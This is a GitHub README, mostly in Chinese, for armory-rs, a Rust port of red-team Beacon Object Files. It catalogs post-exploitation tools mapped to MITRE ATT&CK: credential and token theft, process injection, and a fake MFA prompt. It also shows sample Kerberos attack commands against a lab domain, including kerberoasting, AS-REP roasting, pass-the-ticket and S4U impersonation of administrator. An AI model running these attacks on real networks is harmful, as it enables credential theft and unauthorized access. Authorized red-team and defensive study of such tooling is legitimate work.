memN0ps/armory-rs

GitHub: memN0ps/armory-rs

一个用 Rust 重写的信标对象文件(BOF)库,提供丰富的后渗透操作与 Kerberos 票据攻击能力。

Stars: 59 | Forks: 9

## 军械库 Rust Beacon Object Files (BOFs)。115 个 TrustedSec BOF 和 16 个 Kerbeus BOF 已从 C 语言移植到 Rust,使用的是 [rustbof](https://github.com/joaoviictorti/rustbof) 框架。 ## 情境感知 | BOF | Description | MITRE ATT&CK | |-----|-------------|---------------| | `env` | 列出环境变量 | T1082 | | `uptime` | 系统运行时间、本地时间、启动时间 | T1082 | | `whoami` | 当前用户、组、权限 | T1033, T1069 | | `ipconfig` | 网络适配器配置 | T1016 | | `locale` | 系统区域、语言、国家 | T1082 | | `resources` | 内存和磁盘使用率 | T1082 | | `arp` | ARP 缓存表 | T1016 | | `routeprint` | IPv4 路由表 | T1016 | | `netstat` | 带 PID 的 TCP/UDP 连接 | T1049 | | `windowlist` | 桌面窗口标题 | T1010 | | `dir` | 目录列表 | T1083 | | `listdns` | DNS 解析器缓存 | T1018 | | `useridletime` | 用户空闲时间 | T1082 | | `md5` | 文件的 MD5 哈希 | T1083 | | `sha1` | 文件的 SHA1 哈希 | T1083 | | `sha256` | 文件的 SHA-256 哈希 | T1083 | | `enumlocalsessions` | 用户会话 | T1033 | | `nettime` | 远程计算机时间 | T1124 | | `netuptime` | 远程启动时间 | T1082 | | `nslookup` | DNS 查询 | T1018 | | `probe` | TCP 端口扫描器 | T1046 | | `get_session_info` | 登录会话数据 | T1033 | | `findLoadedModule` | 查找加载了 DLL 的进程 | T1057 | | `listmods` | 列出进程模块 | T1057 | | `netloggedon` | 已登录用户 | T1033 | | `netshares` | 网络共享 | T1135 | | `netlocalgroup` | 本地组及成员 | T1069.001 | | `sc_query` | 服务状态/枚举 | T1007 | | `sc_qc` | 服务配置 | T1007 | | `sc_qdescription` | 服务描述 | T1007 | | `sc_qfailure` | 服务失败操作 | T1007 | | `sc_qtriggerinfo` | 服务触发器 | T1007 | | `cacls` | 文件/目录 ACL 权限 | T1222 | | `driversigs` | EDR/AV 驱动签名 | T1518.001 | | `reg_query` | 注册表键值 | T1012 | | `enum_filter_driver` | 微型过滤器驱动 | T1518.001 | | `netuserenum` | 域/本地用户账户 | T1087 | | `netgroup` | 域组及成员 | T1069.002 | | `get_password_policy` | 密码和锁定策略 | T1201 | | `netview` | 网络计算机 | T1018 | | `get_netsession` | 网络会话 | T1049 | | `netuser` | 详细用户信息 | T1087.002 | | `netuse` | 映射/断开网络驱动器 | T1021.002 | | `regsession` | HKU 中已登录用户的 SID | T1033 | | `notepad` | 读取记事本窗口文本 | T1010 | | `get_dpapi_system` | DPAPI 系统密钥 | T1003.004 | | `ldapsearch` | LDAP 搜索 | T1087.002 | | `ldapsecuritycheck` | LDAP 签名检查 | T1557.001 | | `nonpagedldapsearch` | 非分页 LDAP 搜索 | T1087.002 | | `adcs_enum` | ADCS CA 枚举 | T1649 | | `adcs_enum_com` | 通过 COM 进行 ADCS 枚举 | T1649 | | `adcs_enum_com2` | ADCS 模板枚举 | T1649 | | `adv_audit_policies` | 审核策略设置 | T1562.002 | | `aadjoininfo` | Azure AD 加入信息 | T1087.004 | | `list_firewall_rules` | 防火墙规则 | T1518 | | `vssenum` | 卷影副本 | T1003.003 | | `wmi_query` | WMI 查询 | T1047 | | `tasklist` | 进程列表 | T1057 | | `schtasksenum` | 计划任务 | T1053.005 | | `schtasksquery` | 计划任务详情 | T1053.005 | | `netloggedon2` | 已登录用户(JSON) | T1033 | | `netlocalgroup2` | 本地组(JSON) | T1069.001 | | `get_netsession2` | 网络会话(JSON) | T1049 | ## 远程操作 | BOF | Description | MITRE ATT&CK | |-----|-------------|---------------| | `get_priv` | 启用令牌权限 | T1134.002 | | `sc_start` | 启动服务 | T1569.002 | | `sc_stop` | 停止服务 | T1489 | | `sc_create` | 创建服务 | T1543.003 | | `sc_delete` | 删除服务 | T1489 | | `sc_config` | 修改服务配置 | T1543.003 | | `sc_description` | 设置服务描述 | T1543.003 | | `sc_failure` | 设置服务失败操作 | T1543.003 | | `suspendresume` | 挂起/恢复进程 | T1106 | | `adduser` | 创建本地用户 | T1136.001 | | `addusertogroup` | 将用户添加到组 | T1098 | | `setuserpass` | 修改用户密码 | T1098 | | `disableuser` | 禁用用户账户 | T1531 | | `enableuser` | 启用用户账户 | T1098 | | `unexpireuser` | 设置密码永不过期 | T1098 | | `reg_set` | 设置注册表值 | T1112 | | `reg_delete` | 删除注册表键/值 | T1112 | | `reg_save` | 保存注册表项 | T1003.002 | | `shutdown` | 关机/重启计算机 | T1529 | | `procdump` | 转储进程内存 | T1003.001 | | `ProcessListHandles` | 列出进程句柄 | T1057 | | `ProcessDestroy` | 关闭远程句柄 | T1489 | | `chromeKey` | 解密 Chrome 密钥(DPAPI) | T1555.003 | | `shspawnas` | 以其他用户身份启动进程 | T1134.002 | | `ask_mfa` | 伪造 MFA 提示 | T1056.002 | | `office_tokens | 扫描 JWT 令牌 | T1528 | | `slack_cookie` | 提取 Slack Cookie | T1539 | | `lastpass` | 扫描 LastPass 数据 | T1555.005 | | `slackKey` | 提取 Slack API 令牌 | T1528 | | `global_unprotect` | 解密 GlobalProtect 配置 | T1555 | | `get_azure_token` | Azure OAuth 令牌缓存 | T1528 | | `make_token_cert` | 导入 PFX 证书 | T1649 | | `adcs_request` | ADCS 证书请求 | T1649 | | `adcs_request_on_behalf` | ADCS 委托代理申请 | T1649 | | `schtaskscreate` | 创建计划任务 | T1053.005 | | `schtasksdelete` | 删除计划任务 | T1053.005 | | `schtasksrun` | 运行计划任务 | T1053.005 | | `schtasksstop` | 停止计划任务 | T1053.005 | | `ghost_task` | 隐藏计划任务 | T1053.005 | | `netuse` | 映射网络驱动器 | T1021.002 | ## 注入 | BOF | Description | MITRE ATT&CK | |-----|-------------|---------------| | `createremotethread` | CreateRemoteThread | T1055.001 | | `ntcreatethread` | NtCreateThreadEx | T1055 | | `ntqueueapcthread` | APC 队列注入 | T1055.004 | | `setthreadcontext` | 线程上下文劫持 | T1055.003 | | `clipboard` | 剪贴板注入 | T1055 | | `svcctrl` | 服务控制注入 | T1055 | | `tooltip` | 提示框注入 | T1055 | | `uxsubclassinfo` | UxSubclassInfo 注入 | T1055 | | `conhost` | 控制台主机注入 | T1055 | | `dde` | DDE 注入 | T1055 | | `kernelcallbacktable` | KernelCallbackTable 劫持 | T1055.012 | ## Kerberos | BOF | Description | MITRE ATT&CK | |-----|-------------|---------------| | `hash` | 从密码生成的 RC4/AES128/AES256 哈希 | T1558 | | `describe` | 解析并显示 .kirbi 票据 | T1558 | | `klist` | 列出缓存的 Kerberos 票据 | T1558.003 | | `triage` | 紧凑的 Kerberos 票据表 | T1558.003 | | `purge` | 清除缓存的 Kerberos 票据 | T1558.003 | | `ptt` | 传递票据(.kirbi 导入) | T1550.003 | | `dump` | 以 base64 格式导出缓存票据 | T1558.003 | | `asktgt` | 通过 AS-REQ 请求 TGT | T1558.003 | | `asktgs` | 通过 TGS-REQ 请求服务票据 | T1558.003 | | `renew` | 续期 TGT | T1558.003 | | `tgtdeleg` | 通过 GSS-API 委托提取 TGT | T1558.003 | | `kerberoasting` | SPN 票据请求用于离线破解 | T1558.003 | | `asreproasting` | AS-REP 烤制(无预身份验证用户) | T1558.004 | | `s4u` | S4U2Self/S4U2Proxy 委托滥用 | T1550.003 | | `cross_s4u` | 跨域 S4U 委托 | T1550.003 | | `changepw` | Kerberos 密码更改 | T1098 | ### 哈希 ``` > hash /password:horse /user:khal.drogo /domain:essos.local [*] Action: Calculate Password Hash(es) [*] Input Password : horse [*] Input Username : khal.drogo [*] Input Domain : essos.local [*] rc4_hmac : 739120ebc4dd940310bc4bb5c9d37021 [*] aes128_cts_hmac_sha1 : 7d76da251df8d5cec9bf3732e1f6c1ac [*] aes256_cts_hmac_sha1 : 2ef916a78335b11da896216ad6a4f3b1fd6276938d14070444900a75e5bf7eb4 ``` ### asktgt ``` > asktgt /user:khal.drogo /password:horse /domain:essos.local /dc:DC_IP [*] Action: Ask TGT [*] Building AS-REQ (w/ preauth) for: 'essos.local\khal.drogo' [+] TGT request successful! [*] base64(ticket.kirbi): doIFCDCCBQSgAwIBBaEDAgEWooIEFjCCBBJhggQOMIIECqADAgEFoQ0bC0VTU09TLkxPQ0FM... ``` ### 描述 ``` > describe /ticket:doIFCDCCBQSgAwIBBaEDAgEW... [*] Action: Describe ticket ServiceName : krbtgt/ESSOS.LOCAL ServiceRealm : ESSOS.LOCAL UserName : khal.drogo UserRealm : ESSOS.LOCAL StartTime (UTC) : 04/04/2026 03:05:44 EndTime (UTC) : 04/04/2026 13:05:44 RenewTill (UTC) : 05/04/2026 03:05:44 Flags : KeyType : rc4_hmac ``` ### asktgs ``` > asktgs /ticket: /service:MSSQLSvc/braavos.essos.local /dc:DC_IP [*] Action: Ask TGS [*] Requesting service ticket for: MSSQLSvc/braavos.essos.local [*] Using TGT for: khal.drogo@ESSOS.LOCAL [+] TGS request successful! [*] base64(ticket.kirbi): doIFJDCCBSCgAwIBBaEDAgEWooIEKDCCBCRhggQgYYIEHDCCBBigAwIBBaENGwtFU1NPUy5MT0NBTA... ``` ### asreproasting ``` > asreproasting /user:missandei /domain:essos.local /dc:DC_IP [*] Action: AS-REP Roasting [*] Building AS-REQ (w/o preauth) for: 'essos.local\missandei' [+] AS-REP hash: $krb5asrep$23$missandei@ESSOS.LOCAL:a2892d7bffefac532fd67083a2452dc0$288acd1a3fc5... ``` ### kerberoasting ``` > kerberoasting /spn:MSSQLSvc/braavos.essos.local /nopreauth:khal.drogo /domain:essos.local /dc:DC_IP [*] Action: Kerberoasting [*] Target SPN: MSSQLSvc/braavos.essos.local [*] Using khal.drogo without pre-auth to request service tickets [+] Hash: $krb5tgs$23$*MSSQLSvc/braavos.essos.local$ESSOS.LOCAL$MSSQLSvc/braavos.essos.local*$... ``` ### klist ``` > klist Action: List Kerberos Tickets (Current User) UserName : user Domain : YOURPC LogonId : 0:0x3e7 Session : 1 UserSID : S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX Authentication package : NTLM LogonServer : YOURPC UserPrincipalName : [*] Cached tickets: (0) ``` ### 分类 ``` > triage Action: List Kerberos Tickets (All Users) -------------------------------------------------------------------------------------------------------------------------- | LUID | Client | Service | End Time | -------------------------------------------------------------------------------------------------------------------------- | 0:0x3e7 | khal.drogo @ ESSOS.LOCAL | krbtgt/ESSOS.LOCAL | 04/04/2026 13:05:44 | | 0:0x3e7 | khal.drogo @ ESSOS.LOCAL | MSSQLSvc/braavos.essos.local | 04/04/2026 13:05:44 | -------------------------------------------------------------------------------------------------------------------------- ``` ### 清除 ``` > purge [*] Action: Purge Tickets [+] Successfully purged tickets. ``` ### ptt ``` > ptt /ticket: [*] Action: Import Ticket [+] Ticket successfully imported. ``` ### 转储 ``` > dump Action: Dump Kerberos Tickets (Current User) UserName : user Domain : YOURPC LogonId : 0:0x3e7 UserSID : S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX [*] Cached tickets: (0) ``` ### 续期 ``` > renew /ticket: /dc:DC_IP [*] Action: Renew TGT [*] Renewing TGT for: khal.drogo@ESSOS.LOCAL [+] TGT renewal successful! [*] base64(ticket.kirbi): doIFCDCCBQSgAwIBBaEDAgEW... ``` ### s4u ``` > s4u /ticket: /service:cifs/target.essos.local /impersonateuser:administrator /dc:DC_IP [*] Action: S4U [*] Impersonating: administrator [*] Target service: cifs/target.essos.local [*] Using TGT for: khal.drogo@ESSOS.LOCAL [+] S4U request successful! [*] base64(ticket.kirbi): doIFJDCCBSCgAwIBBaEDAgEW... ``` ### cross_s4u ``` > cross_s4u /ticket: /service:cifs/target.essos.local /targetdomain:north.sevenkingdoms.local /impersonateuser:administrator [*] Action: Cross-domain S4U [*] Service: cifs/target.essos.local [*] Target domain: north.sevenkingdoms.local [*] Impersonate: administrator ``` ### changepw ``` > changepw /ticket: /new:NewP@ssw0rd! /dc:DC_IP [*] Action: Change Password [*] Using TGT for: khal.drogo@ESSOS.LOCAL [*] New password length: 12 chars [+] Got kadmin/changepw service ticket ``` ### tgtdeleg ``` > tgtdeleg [*] Action: TGT Delegation Trick [*] Target SPN: cifs/kingslanding.sevenkingdoms.local [*] Got SSPI output token: 1847 bytes [*] Found AP-REQ: 1280 bytes ``` ## 构建 需要 Rust nightly、[boflink](https://github.com/MEhrn00/boflink)、[cargo-make](https://github.com/sagiegurari/cargo-make) 和 MinGW-w64。 ``` cd bofs/sa/whoami cargo make # 输出:out/whoami.x64.o ``` 使用 [COFFLoader](https://github.com/trustedsec/COFFLoader) 或任何兼容的加载器进行测试。 ## 许可证 MIT。参见 [LICENSE](./LICENSE)。 作者不对此软件被滥用、造成损坏或产生法律后果承担责任。用户需自行确保遵守所有适用的法律、法规和组织政策。使用此软件即表示您同意对与之交互的任何系统拥有适当的授权。 ## 作者 [memN0ps](https://github.com/memN0ps)
标签:Beacon Object Files, BOF, CDN识别, DNS查询, EDR绕过, Mr. Robot, Rust, rustbof, 协议分析, 反取证, 可信Sec, 可视化界面, 后渗透, 安全评估, 开源软件, 插件系统, 数据展示, 数据统计, 文件哈希, 无线安全, 服务枚举, 本地模型, 本地组, 权限提升, 欺骗防御, 注册表, 流量嗅探, 环境变量, 用户会话, 端口扫描, 系统侦察, 系统时间, 红队, 网络共享, 网络安全审计, 网络流量审计, 网络配置, 进程模块, 通知系统, 驱动签名, 高交互蜜罐